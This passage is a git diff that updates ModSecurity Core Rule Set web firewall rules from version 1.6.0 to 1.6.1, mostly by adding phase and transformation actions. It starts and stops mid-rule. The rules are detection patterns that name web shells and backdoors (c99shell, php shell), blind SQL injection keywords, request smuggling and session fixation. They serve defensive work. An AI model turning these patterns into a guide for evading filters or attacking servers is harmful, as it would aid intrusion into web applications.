commander|-terminal)\b|remoteview)|vayv)|myshell)|\b(?:(?:(?:microsoft windows\b.{,10}?\bversion\b.{,20}?\(c\) copyright 1985-.{,10}?\bmicrosoft corp|ntdaddy v1\.9 - obzerve \| fux0r inc)\.|(?:www\.sanalteror\.org - indexer and read|haxplor)er|php(?:konsole| shell)|c99shell)\b|aventgrup\.
|drwxr))" \ - "phase:4,ctl:auditLogParts=+E,deny,log,auditlog,status:404,msg:'Backdoor access',id:'950922',tag:'MALICIOUS_SOFTWARE/TROJAN',severity:'2'" + "phase:4,t:none,ctl:auditLogParts=+E,deny,log,auditlog,status:404,msg:'Backdoor access',id:'950922',tag:'MALICIOUS_SOFTWARE/TROJAN',severity:'2'" diff --git a/rules/modsecurity_crs_50_outbound.conf b/rules/modsecurity_crs_50_outbound.conf index 452d38d1..a6f276d4 100644 --- a/rules/modsecurity_crs_50_outbound.conf +++ b/rules/modsecurity_crs_50_outbound.conf @@ -1,5 +1,5 @@ # --------------------------------------------------------------- -# Core ModSecurity Rule Set ver.1.6.0 +# Core ModSecurity Rule Set ver.1.6.1 # Copyright (C) 2006-2007 Breach Security Inc. All rights reserved. # # The ModSecuirty Core Rule Set is distributed under GPL version 2 @@ -16,74 +16,74 @@ # Statistics pages revealed SecRule RESPONSE_BODY "\b(?:Th(?:is (?:summary was generated by.{0,100}?(?:w(?:ebcruncher|wwstat)|analog|Jware)|analysis was produced by.{0,100}?(?:calamaris|EasyStat|analog)|report was generated by WebLog)|ese statistics were produced by (?:getstats|PeLAB))|[gG]enerated by.{0,100}?[Ww]ebalizer)\b" \ - "ctl:auditLogParts=+E,deny,log,auditlog,status:404,msg:'Statistics Information Leakage',id:'970002',severity:'4'" + "phase:4,t:none,ctl:auditLogParts=+E,deny,log,auditlog,status:404,msg:'Statistics Information Leakage',id:'970002',severity:'4'" # SQL Errors leakage SecRule RESPONSE_BODY "(?:\b(?:(?:s(?:elect list because it is not contained in (?:an aggregate function and there is no|either an aggregate function or the) GROUP BY clause|upplied argument is not a valid (?:(?:M(?:S |y)|Postgre)SQL|O(?:racle|DBC)))|S(?:yntax error converting the \w+ value .*? to a column of data type|QL Server does not exist or access denied)|Either BOF or EOF is True, or the current record has been deleted(?:; the operation|\. Requested)|The column prefix .{0,50}? does not match with a table name or alias name used in the query|Could not find server '\w+' in sysservers\. execute sp_addlinkedserver)\b|Un(?:closed quotation mark before the character string\b|able to connect to PostgreSQL server:)|(?:Microsoft OLE DB Provider for .{0,30} [eE]rror |error '800a01b8)'|(?:Warning: mysql_connect\(\)|PostgreSQL query failed):|You have an error in your SQL syntax(?: near '|;)|cannot take a \w+ data type as an argument\.|incorrect syntax near (?:\'|the\b|@@error\b)|microsoft jet database engine error '8|ORA-\d{5}: )|\[Microsoft\]\[ODBC )" \ - "ctl:auditLogParts=+E,deny,log,auditlog,status:500,msg:'SQL Information Leakage',id:'970003',tag:'LEAKAGE/ERRORS',severity:'4'" + "phase:4,t:none,ctl:auditLogParts=+E,deny,log,auditlog,status:500,msg:'SQL Information Leakage',id:'970003',tag:'LEAKAGE/ERRORS',severity:'4'" # IIS Errors leakage SecRule RESPONSE_BODY "(?:\b(?:A(?:DODB\.Command\b.{0,100}?\b(?:Application uses a value of the wrong type for the current operation\b|error')| trappable error occurred in an external object\. The script cannot continue running\b)|Microsoft VBScript (?:compilation (?:\(0x8|error)|runtime (?:Error|\(0x8))\b|Object required: '|error '800)|Version Information:<\/b>(?: |\s)(?:Microsoft \.NET Framework|ASP\.NET) Version:|(?:\/[Ee]rror[Mm]essage\.aspx?\?[Ee]rror|>error 'ASP)\b)" \ - "ctl:auditLogParts=+E,deny,log,auditlog,status:500,msg:'IIS Information Leakage',id:'970004',tag:'LEAKAGE/ERRORS',severity:'4'" + "phase:4,t:none,ctl:auditLogParts=+E,deny,log,auditlog,status:500,msg:'IIS Information Leakage',id:'970004',tag:'LEAKAGE/ERRORS',severity:'4'" SecRule RESPONSE_BODY "\bServer Error in.{0,50}?\bApplication\b" \ - "chain,ctl:auditLogParts=+E,deny,log,auditlog,status:500,msg:'IIS Information Leakage',id:'970904',tag:'LEAKAGE/ERRORS',severity:'4'" -SecRule RESPONSE_STATUS "!^404$" + "phase:4,chain,t:none,ctl:auditLogParts=+E,deny,log,auditlog,status:500,msg:'IIS Information Leakage',id:'970904',tag:'LEAKAGE/ERRORS',severity:'4'" +SecRule RESPONSE_STATUS "!^404$" "t:none" # Zope Information Leakage SecRule RESPONSE_BODY "

Site Error<\/h2>.{0,20}

An error was encountered while publishing this resource\." \ - "ctl:auditLogParts=+E,deny,log,auditlog,status:500,msg:'Zope Information Leakage',id:'970007',tag:'LEAKAGE/ERRORS',severity:'4'" + "phase:4,t:none,ctl:auditLogParts=+E,deny,log,auditlog,status:500,msg:'Zope Information Leakage',id:'970007',tag:'LEAKAGE/ERRORS',severity:'4'" # CF Information Leakage SecRule RESPONSE_BODY "\bThe error occurred in\b.{0,100}: line\b.{0,1000}\bColdFusion\b.*?\bStack Trace \(click to expand\)\b" \ - "ctl:auditLogParts=+E,deny,log,auditlog,status:500,msg:'Cold Fusion Information Leakage',id:'970008',tag:'LEAKAGE/ERRORS',severity:'4'" + "phase:4,t:none,ctl:auditLogParts=+E,deny,log,auditlog,status:500,msg:'Cold Fusion Information Leakage',id:'970008',tag:'LEAKAGE/ERRORS',severity:'4'" # PHP Information Leakage SecRule RESPONSE_BODY "Warning<\/b>.{0,100}?:.{0,1000}?\bon line\b" \ - "ctl:auditLogParts=+E,deny,log,auditlog,status:500,msg:'PHP Information Leakage',id:'970009',tag:'LEAKAGE/ERRORS',severity:'4'" + "phase:4,t:none,ctl:auditLogParts=+E,deny,log,auditlog,status:500,msg:'PHP Information Leakage',id:'970009',tag:'LEAKAGE/ERRORS',severity:'4'" # ISA server existence revealed SecRule RESPONSE_BODY "\b403 Forbidden\b.*?\bInternet Security and Acceleration Server\b" \ - "ctl:auditLogParts=+E,log,auditlog,msg:'ISA server existence revealed',id:'970010',tag:'MISCONFIGURATION',severity:'4'" + "phase:4,t:none,ctl:auditLogParts=+E,log,auditlog,msg:'ISA server existence revealed',id:'970010',tag:'MISCONFIGURATION',severity:'4'" # Microsoft Office document properties leakage SecRule RESPONSE_BODY "" \ - "log,auditlog,msg:'Microsoft Office document properties leakage',id:'970012',tag:'LEAKAGE/INFO',severity:'4'" + "phase:4,t:none,log,auditlog,msg:'Microsoft Office document properties leakage',id:'970012',tag:'LEAKAGE/INFO',severity:'4'" # Directory Listing -SecRule RESPONSE_BODY "(?:>\[To Parent Directory\]<\/[Aa]>
|Index of.*?<h1>Index of)" \ - "ctl:auditLogParts=+E,deny,log,auditlog,status:403,msg:'Directory Listing',id:'970013',tag:'LEAKAGE/INFO',severity:'4'" +SecRule RESPONSE_BODY "(?:<(?:TITLE>Index of.*?<H|title>Index of.*?<h)1>Index of|>\[To Parent Directory\]<\/[Aa]><br>)" \ + "phase:4,t:none,ctl:auditLogParts=+E,deny,log,auditlog,status:403,msg:'Directory Listing',id:'970013',tag:'LEAKAGE/INFO',severity:'4'" # ASP/JSP source code leakage SecRule RESPONSE_BODY "(?:\b(?:(?:s(?:erver\.(?:(?:(?:htm|ur)lencod|execut)e|createobject|mappath)|cripting\.filesystemobject)|(?:response\.(?:binary)?writ|vbscript\.encod)e|wscript\.(?:network|shell))\b|javax\.servlet)|\.(?:(?:(?:createtex|ge)t|loadfrom)file|addheader)\b|<jsp:)" \ - "ctl:auditLogParts=+E,log,auditlog,msg:'ASP/JSP source code leakage',id:'970014',tag:'LEAKAGE/SOURCE_CODE',severity:'4'" -SecRule RESPONSE_BODY "\<\%" "chain,ctl:auditLogParts=+E,log,auditlog,msg:'ASP/JSP source code leakage',id:'970903',tag:'LEAKAGE/SOURCE_CODE',severity:'4'" -SecRule RESPONSE_BODY "!(?:\b(?:(?:i(?:nterplay|hdr|d3)|m(?:ovi|thd)|(?:ex|jf)if|f(?:lv|ws)|varg|cws)\b|r(?:iff\b|ar!B)|gif)|B(?:%pdf|\.ra)\b)" + "phase:4,t:none,ctl:auditLogParts=+E,log,auditlog,msg:'ASP/JSP source code leakage',id:'970014',tag:'LEAKAGE/SOURCE_CODE',severity:'4'" +SecRule RESPONSE_BODY "\<\%" "phase:4,chain,t:none,ctl:auditLogParts=+E,log,auditlog,msg:'ASP/JSP source code leakage',id:'970903',tag:'LEAKAGE/SOURCE_CODE',severity:'4'" +SecRule RESPONSE_BODY "!(?:\b(?:(?:i(?:nterplay|hdr|d3)|m(?:ovi|thd)|(?:ex|jf)if|f(?:lv|ws)|varg|cws)\b|r(?:iff\b|ar!B)|gif)|B(?:%pdf|\.ra)\b)" "t:none" # PHP source code leakage SecRule RESPONSE_BODY "(?:\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open)|\$_(?:(?:pos|ge)t|session))\b" \ - "ctl:auditLogParts=+E,log,auditlog,msg:'PHP source code leakage',id:'970015',tag:'LEAKAGE/SOURCE_CODE',severity:'4'" + "phase:4,t:none,ctl:auditLogParts=+E,log,auditlog,msg:'PHP source code leakage',id:'970015',tag:'LEAKAGE/SOURCE_CODE',severity:'4'" SecRule RESPONSE_BODY "<\?(?!xml)" \ - "chain,ctl:auditLogParts=+E,log,auditlog,msg:'PHP source code leakage',id:'970902',tag:'LEAKAGE/SOURCE_CODE',severity:'4'" -SecRule RESPONSE_BODY "!(?:\b(?:(?:i(?:nterplay|hdr|d3)|m(?:ovi|thd)|(?:ex|jf)if|f(?:lv|ws)|varg|cws)\b|r(?:iff\b|ar!B)|gif)|B(?:%pdf|\.ra)\b)" + "phase:4,chain,t:none,ctl:auditLogParts=+E,log,auditlog,msg:'PHP source code leakage',id:'970902',tag:'LEAKAGE/SOURCE_CODE',severity:'4'" +SecRule RESPONSE_BODY "!(?:\b(?:(?:i(?:nterplay|hdr|d3)|m(?:ovi|thd)|(?:ex|jf)if|f(?:lv|ws)|varg|cws)\b|r(?:iff\b|ar!B)|gif)|B(?:%pdf|\.ra)\b)" "t:none" # CF source code leakage SecRule RESPONSE_BODY "<cf" \ - "ctl:auditLogParts=+E,log,auditlog,msg:'Cold Fusion source code leakage',id:'970016',tag:'LEAKAGE/SOURCE_CODE',severity:'4'" + "phase:4,t:none,ctl:auditLogParts=+E,log,auditlog,msg:'Cold Fusion source code leakage',id:'970016',tag:'LEAKAGE/SOURCE_CODE',severity:'4'" # IIS default location SecRule RESPONSE_BODY "[a-z]:\\\\inetpub\b" \ - "t:none,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'IIS installed in default location',id:'970018',severity:'5',chain,initcol:global=global" + "phase:4,t:none,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'IIS installed in default location',id:'970018',severity:'5',chain,initcol:global=global" SecRule &GLOBAL:alerted_970018_iisDefLoc "@eq 0" "setvar:global.alerted_970018_iisDefLoc" # The application is not available -SecRule RESPONSE_STATUS "^503$" "ctl:auditLogParts=+E,log,auditlog,msg:'The application is not available',id:'970901',severity:'5'" +SecRule RESPONSE_STATUS "^503$" "phase:4,t:none,ctl:auditLogParts=+E,log,auditlog,msg:'The application is not available',id:'970901',severity:'5'" SecRule RESPONSE_BODY "(?:Microsoft OLE DB Provider for SQL Server(?:<\/font>.{1,20}?error '800(?:04005|40e31)'.{1,40}?Timeout expired| \(0x80040e31\)<br>Timeout expired<br>)|<h1>internal server error<\/h1>.*?<h2>part of the server has crashed or it has a configuration error\.<\/h2>|cannot connect to the server: timed out)" \ - "ctl:auditLogParts=+E,log,auditlog,msg:'The application is not available',id:'970118',severity:'5'" + "phase:4,t:none,ctl:auditLogParts=+E,log,auditlog,msg:'The application is not available',id:'970118',severity:'5'" # Weblogic information disclosure -SecRule RESPONSE_STATUS "^500$" "chain,ctl:auditLogParts=+E,log,auditlog,msg:'WebLogic information disclosure',id:'970021',severity:'4'" -SecRule RESPONSE_BODY "<title>JSP compile error<\/title>" t:none +SecRule RESPONSE_STATUS "^500$" "phase:4,chain,t:none,ctl:auditLogParts=+E,log,auditlog,msg:'WebLogic information disclosure',id:'970021',severity:'4'" +SecRule RESPONSE_BODY "t:none,<title>JSP compile error<\/title>" t:none # File or Directory Names Leakage -SecRule RESPONSE_BODY "href\s?=[\s\"\']*[A-Za-z]\:\x5c([^\"\']+)" "chain,capture,ctl:auditLogParts=+E,log,auditlog,msg:'File or Directory Names Leakage',id:'970011',tag:'LEAKAGE/INFO',severity:'4'" -SecRule TX:1 "!program files\x5cmicrosoft office\x5c(?:office|templates)" t:lowercase +SecRule RESPONSE_BODY "href\s?=[\s\"\']*[A-Za-z]\:\x5c([^\"\']+)" "phase:4,chain,capture,t:none,ctl:auditLogParts=+E,log,auditlog,msg:'File or Directory Names Leakage',id:'970011',tag:'LEAKAGE/INFO',severity:'4'" +SecRule TX:1 "!program files\x5cmicrosoft office\x5c(?:office|templates)" "t:none,t:lowercase" diff --git a/rules/optional_rules/modsecurity_crs_20_protocol_violations.conf b/rules/optional_rules/modsecurity_crs_20_protocol_violations.conf index 7ca87752..1dc22dec 100644 --- a/rules/optional_rules/modsecurity_crs_20_protocol_violations.conf +++ b/rules/optional_rules/modsecurity_crs_20_protocol_violations.conf @@ -1,5 +1,5 @@ # --------------------------------------------------------------- -# Core ModSecurity Rule Set ver.1.6.0 +# Core ModSecurity Rule Set ver.1.6.1 # Copyright (C) 2006-2007 Breach Security Inc. All rights reserved. # # The ModSecuirty Core Rule Set is distributed under GPL version 2 @@ -18,60 +18,60 @@ # Validate request line # SecRule REQUEST_LINE "!^(?:(?:[a-z]{3,10}\s+(?:\w{3,7}?://[\w\-\./]*(?::\d+)?)?/[^?#]*(?:\?[^#\s]*)?(?:#[\S]*)?|connect (?:\d{1,3}\.){3}\d{1,3}\.?(?::\d+)?|options \*)\s+[\w\./]+|get /[^?#]*(?:\?[^#\s]*)?(?:#[\S]*)?)$" \ - "t:none,t:lowercase,deny,log,auditlog,status:400,msg:'Invalid HTTP Request Line',id:'960911',severity:'2'" + "t:none,t:lowercase,phase:2,deny,log,auditlog,status:400,msg:'Invalid HTTP Request Line',id:'960911',severity:'2'" # HTTP Request Smuggling # -SecRule REQUEST_HEADERS:'/(Content-Length|Transfer-Encoding)/' "," "deny,log,auditlog,status:400,msg:'HTTP Request Smuggling Attack.',id:'950012',tag:'WEB_ATTACK/REQUEST_SMUGGLING',severity:'1'" +SecRule REQUEST_HEADERS:'/(Content-Length|Transfer-Encoding)/' "," "phase:2,t:none,deny,log,auditlog,status:400,msg:'HTTP Request Smuggling Attack.',id:'950012',tag:'WEB_ATTACK/REQUEST_SMUGGLING',severity:'1'" # Block request with malformed content. # ModSecurity will not inspect these, but the server application might do so # -SecRule REQBODY_PROCESSOR_ERROR "!@eq 0" "t:none,deny,log,auditlog,status:400,msg:'Request Body Parsing Failed. %{REQBODY_PROCESSOR_ERROR_MSG}',id:'960912',severity:'2'" +SecRule REQBODY_PROCESSOR_ERROR "!@eq 0" "t:none,phase:2,deny,log,auditlog,status:400,msg:'Request Body Parsing Failed. %{REQBODY_PROCESSOR_ERROR_MSG}',id:'960912',severity:'2'" # Accept only digits in content length # -SecRule REQUEST_HEADERS:Content-Length "!^\d+$" "deny,log,auditlog,status:400,msg:'Content-Length HTTP header is not numeric', severity:'2',id:'960016',tag:'PROTOCOL_VIOLATION/INVALID_HREQ'" +SecRule REQUEST_HEADERS:Content-Length "!^\d+$" "phase:2,t:none,deny,log,auditlog,status:400,msg:'Content-Length HTTP header is not numeric', severity:'2',id:'960016',tag:'PROTOCOL_VIOLATION/INVALID_HREQ'" # Do not accept GET or HEAD requests with bodies # HTTP standard allows GET requests to have a body but this # feature is not used in real life. Attackers could try to force # a request body on an unsuspecting web applications. # -SecRule REQUEST_METHOD "^(?:GET|HEAD)$" "chain,deny,log,auditlog,status:400,msg:'GET or HEAD requests with bodies', severity:'2',id:'960011',tag:'PROTOCOL_VIOLATION/EVASION'" -SecRule REQUEST_HEADERS:Content-Length "!^0?$" +SecRule REQUEST_METHOD "^(?:GET|HEAD)$" "chain,phase:2,t:none,deny,log,auditlog,status:400,msg:'GET or HEAD requests with bodies', severity:'2',id:'960011',tag:'PROTOCOL_VIOLATION/EVASION'" +SecRule REQUEST_HEADERS:Content-Length "!^0?$" t:none # Require Content-Length to be provided with every POST request. # -SecRule REQUEST_METHOD "^POST$" "chain,deny,log,auditlog,status:400,msg:'POST request must have a Content-Length header',id:'960012',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4'" -SecRule &REQUEST_HEADERS:Content-Length "@eq 0" +SecRule REQUEST_METHOD "^POST$" "chain,phase:2,t:none,deny,log,auditlog,status:400,msg:'POST request must have a Content-Length header',id:'960012',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4'" +SecRule &REQUEST_HEADERS:Content-Length "@eq 0" t:none # Don't accept transfer encodings we know we don't know how to handle # # NOTE ModSecurity does not support chunked transfer encodings at # this time. You MUST reject all such requests. # -SecRule REQUEST_HEADERS:Transfer-Encoding "!^$" "deny,log,auditlog,status:501,msg:'ModSecurity does not support transfer encodings',id:'960013',tag:'PROTOCOL_VIOLATION/EVASION',severity:'3'" +SecRule REQUEST_HEADERS:Transfer-Encoding "!^$" "phase:2,t:none,deny,log,auditlog,status:501,msg:'ModSecurity does not support transfer encodings',id:'960013',tag:'PROTOCOL_VIOLATION/EVASION',severity:'3'" # Check encodings SecRule REQUEST_BODY|REQUEST_URI|XML:/* "\%(?!$|\W|[0-9a-fA-F]{2}|u[0-9a-fA-F]{4})" \ - "chain, deny,log,auditlog,status:400,msg:'URL Encoding Abuse Attack Attempt',id:'950107',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4'" + "chain,phase:2,t:none,deny,log,auditlog,status:400,msg:'URL Encoding Abuse Attack Attempt',id:'950107',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4'" SecRule REQUEST_BODY|REQUEST_URI|XML:/* "@validateUrlEncoding" # Check UTF enconding # Uncomment this rule if your system uses UTF encoding. -#SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "@validateUtf8Encoding" "deny,log,auditlog,status:400,msg:'UTF8 Encoding Abuse Attack Attempt',id:'950801',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4'" +#SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "@validateUtf8Encoding" "phase:2,t:none,deny,log,auditlog,status:400,msg:'UTF8 Encoding Abuse Attack Attempt',id:'950801',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4'" # Disallow use of full-width unicode SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "\%u[fF]{2}[0-9a-fA-F]{2}" \ - "t:none,deny,log,auditlog,status:400,msg:'Unicode Full/Half Width Abuse Attack Attempt',id:'950116',severity:'4'" + "t:none,phase:2,deny,log,auditlog,status:400,msg:'Unicode Full/Half Width Abuse Attack Attempt',id:'950116',severity:'4'" # Proxy access attempt # NOTE Apache blocks such access by default if not set as a proxy. The rule is # included in case Apache proxy is misconfigured. -SecRule REQUEST_URI_RAW ^\w+:/ "deny,log,auditlog,status:400,msg:'Proxy access attempt', severity:'2',id:'960014',tag:'PROTOCOL_VIOLATION/PROXY_ACCESS'" +SecRule REQUEST_URI_RAW ^\w+:/ "phase:2,t:none,deny,log,auditlog,status:400,msg:'Proxy access attempt', severity:'2',id:'960014',tag:'PROTOCOL_VIOLATION/PROXY_ACCESS'" # # Restrict type of characters sent @@ -86,7 +86,7 @@ SecRule REQUEST_URI_RAW ^\w+:/ "deny,log,auditlog,status:400,msg:'Proxy access a # SecRule REQUEST_FILENAME|REQUEST_HEADERS_NAMES|REQUEST_HEADERS|!REQUEST_HEADERS:Referer \ "@validateByteRange 32-126" \ - "deny,log,auditlog,status:400,msg:'Invalid character in request',id:'960018',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4',t:urlDecodeUni" + "phase:2,deny,log,auditlog,status:400,msg:'Invalid character in request',id:'960018',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4',t:none,t:urlDecodeUni" SecRule ARGS|ARGS_NAMES|REQUEST_HEADERS:Referer "@validateByteRange 1-255" \ - "deny,log,auditlog,status:400,msg:'Invalid character in request',id:'960901',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4',t:urlDecodeUni" + "phase:2,deny,log,auditlog,status:400,msg:'Invalid character in request',id:'960901',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4',t:none,t:urlDecodeUni" diff --git a/rules/optional_rules/modsecurity_crs_21_protocol_anomalies.conf b/rules/optional_rules/modsecurity_crs_21_protocol_anomalies.conf index 0bd829a5..92bc2ff9 100644 --- a/rules/optional_rules/modsecurity_crs_21_protocol_anomalies.conf +++ b/rules/optional_rules/modsecurity_crs_21_protocol_anomalies.conf @@ -1,5 +1,5 @@ # --------------------------------------------------------------- -# Core ModSecurity Rule Set ver.1.6.0 +# Core ModSecurity Rule Set ver.1.6.1 # Copyright (C) 2006-2007 Breach Security Inc. All rights reserved. # # The ModSecuirty Core Rule Set is distributed under GPL version 2 @@ -19,49 +19,49 @@ # # Exception for Apache SSL pinger -SecRule REQUEST_LINE "^GET /$" "chain,pass,nolog,ctl:ruleRemoveById=960019,ctl:ruleRemoveById=960008,ctl:ruleRemoveById=960015,ctl:ruleRemoveById=960009,id:'999210',severity:'5'" -SecRule REMOTE_ADDR "^127\.0\.0\.1$" +SecRule REQUEST_LINE "^GET /$" "chain,phase:2,t:none,pass,nolog,ctl:ruleRemoveById=960019,ctl:ruleRemoveById=960008,ctl:ruleRemoveById=960015,ctl:ruleRemoveById=960009,id:'999210',severity:'5'" +SecRule REMOTE_ADDR "^127\.0\.0\.1$" t:none # Exception for Apache internal dummy connection -SecRule REQUEST_LINE "^GET / HTTP/1.0$" "chain,pass,nolog,ctl:ruleRemoveById=960019,ctl:ruleRemoveById=960008,ctl:ruleRemoveById=960015,ctl:ruleRemoveById=960009,id:'999211',severity:'5'" -SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain" +SecRule REQUEST_LINE "^GET / HTTP/1.0$" "chain,phase:2,t:none,pass,nolog,ctl:ruleRemoveById=960019,ctl:ruleRemoveById=960008,ctl:ruleRemoveById=960015,ctl:ruleRemoveById=960009,id:'999211',severity:'5'" +SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain,t:none" SecRule REQUEST_HEADERS:User-Agent "^Apache.*\(internal dummy connection\)$" "t:none" # Detect HTTP/0.9 Requests -SecRule REQUEST_PROTOCOL ^http/0.9$ "t:lowercase,deny,log,auditlog,status:400,msg:'HTTP/0.9 Request Detected',id:'960019',severity:'4'" +SecRule REQUEST_PROTOCOL ^http/0.9$ "t:none,t:lowercase,phase:2,deny,log,auditlog,status:400,msg:'HTTP/0.9 Request Detected',id:'960019',severity:'4'" SecRule &REQUEST_HEADERS:Host "@eq 0" \ - "skip:1,deny,log,auditlog,status:400,msg:'Request Missing a Host Header',id:'960008',tag:'PROTOCOL_VIOLATION/MISSING_HEADER',severity:'4'" + "skip:1,phase:2,t:none,deny,log,auditlog,status:400,msg:'Request Missing a Host Header',id:'960008',tag:'PROTOCOL_VIOLATION/MISSING_HEADER',severity:'4'" SecRule REQUEST_HEADERS:Host "^$" \ - "deny,log,auditlog,status:400,msg:'Request Missing a Host Header',id:'960008',tag:'PROTOCOL_VIOLATION/MISSING_HEADER',severity:'4'" + "phase:2,t:none,deny,log,auditlog,status:400,msg:'Request Missing a Host Header',id:'960008',tag:'PROTOCOL_VIOLATION/MISSING_HEADER',severity:'4'" SecRule &REQUEST_HEADERS:Accept "@eq 0" \ - "chain,skip:1,deny,log,auditlog,status:400,msg:'Request Missing an Accept Header', severity:'2',id:'960015',tag:'PROTOCOL_VIOLATION/MISSING_HEADER'" + "chain,phase:2,skip:1,t:none,deny,log,auditlog,status:400,msg:'Request Missing an Accept Header', severity:'2',id:'960015',tag:'PROTOCOL_VIOLATION/MISSING_HEADER'" SecRule REQUEST_METHOD "!^OPTIONS$" "t:none" SecRule REQUEST_HEADERS:Accept "^$" \ - "chain,deny,log,auditlog,status:400,msg:'Request Missing an Accept Header', severity:'2',id:'960015',tag:'PROTOCOL_VIOLATION/MISSING_HEADER'" + "chain,phase:2,t:none,deny,log,auditlog,status:400,msg:'Request Missing an Accept Header', severity:'2',id:'960015',tag:'PROTOCOL_VIOLATION/MISSING_HEADER'" SecRule REQUEST_METHOD "!^OPTIONS$" "t:none" SecRule &REQUEST_HEADERS:User-Agent "@eq 0" \ - "skip:1,deny,log,auditlog,status:400,msg:'Request Missing a User Agent Header',id:'960009',tag:'PROTOCOL_VIOLATION/MISSING_HEADER',severity:'4'" + "skip:1,phase:2,t:none,deny,log,auditlog,status:400,msg:'Request Missing a User Agent Header',id:'960009',tag:'PROTOCOL_VIOLATION/MISSING_HEADER',severity:'4'" SecRule REQUEST_HEADERS:User-Agent "^$" \ - "deny,log,auditlog,status:400,msg:'Request Missing a User Agent Header',id:'960009',tag:'PROTOCOL_VIOLATION/MISSING_HEADER',severity:'4'" + "t:none,deny,log,auditlog,status:400,msg:'Request Missing a User Agent Header',id:'960009',tag:'PROTOCOL_VIOLATION/MISSING_HEADER',severity:'4'" SecRule &REQUEST_HEADERS:Content-Type "@eq 0" \ - "chain,deny,log,auditlog,status:400,msg:'Request Containing Content, but Missing Content-Type header',id:'960904',severity:'4'" -SecRule REQUEST_HEADERS:Content-Length "!^0$" + "chain,phase:2,t:none,deny,log,auditlog,status:400,msg:'Request Containing Content, but Missing Content-Type header',id:'960904',severity:'4'" +SecRule REQUEST_HEADERS:Content-Length "!^0$" "t:none" # Check that the host header is not an IP address # -SecRule REQUEST_HEADERS:Host "^[\d\.]+$" "deny,log,auditlog,status:400,msg:'Host header is a numeric IP address', severity:'2',id:'960017',tag:'PROTOCOL_VIOLATION/IP_HOST'" +SecRule REQUEST_HEADERS:Host "^[\d\.]+$" "phase:2,t:none,deny,log,auditlog,status:400,msg:'Host header is a numeric IP address', severity:'2',id:'960017',tag:'PROTOCOL_VIOLATION/IP_HOST'" # Log a security event when the request is rejected by apache # SecRule RESPONSE_STATUS ^400$ "t:none,phase:5,chain,log,auditlog,pass,msg:'Invalid request',id:'960913',severity:'2'" -SecRule WEBSERVER_ERROR_LOG !ModSecurity +SecRule WEBSERVER_ERROR_LOG !ModSecurity "t:none" diff --git a/rules/optional_rules/modsecurity_crs_40_generic_attacks.conf b/rules/optional_rules/modsecurity_crs_40_generic_attacks.conf index f1a9b554..0db150f5 100644 --- a/rules/optional_rules/modsecurity_crs_40_generic_attacks.conf +++ b/rules/optional_rules/modsecurity_crs_40_generic_attacks.conf @@ -1,5 +1,5 @@ # --------------------------------------------------------------- -# Core ModSecurity Rule Set ver.1.6.0 +# Core ModSecurity Rule Set ver.1.6.1 # Copyright (C) 2006-2007 Breach Security Inc. All rights reserved. # # The ModSecuirty Core Rule Set is distributed under GPL version 2 @@ -21,194 +21,194 @@ # Session fixation # SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "@pm set-cookie .cookie" \ - "t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,pass,nolog,skip:1" -SecAction pass,nolog,skipAfter:959009 + "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,pass,nolog,skip:1" +SecAction phase:2,pass,nolog,skipAfter:959009 SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "(?:\.cookie\b.*?;\W*?(?:expires|domain)\W*?=|\bhttp-equiv\W+set-cookie\b)" \ - "t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,capture,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Session Fixation',id:'950009',tag:'WEB_ATTACK/SESSION_FIXATION',logdata:'%{TX.0}',severity:'2'" + "phase:2,t:none,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,capture,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Session Fixation',id:'950009',tag:'WEB_ATTACK/SESSION_FIXATION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "(?:\.cookie\b.*?;\W*?(?:expires|domain)\W*?=|\bhttp-equiv\W+set-cookie\b)" \ - "t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,capture,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Session Fixation',id:'959009',tag:'WEB_ATTACK/SESSION_FIXATION',logdata:'%{TX.0}',severity:'2'" + "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,capture,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Session Fixation',id:'959009',tag:'WEB_ATTACK/SESSION_FIXATION',logdata:'%{TX.0}',severity:'2'" # # Blind SQL injection # SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "@pm sys.user_triggers sys.user_objects @@spid msysaces instr sys.user_views sys.tab charindex sys.user_catalog constraint_type locate select msysobjects attnotnull sys.user_tables sys.user_tab_columns sys.user_constraints waitfor mysql.user sys.all_tables msysrelationships msyscolumns msysqueries" \ - 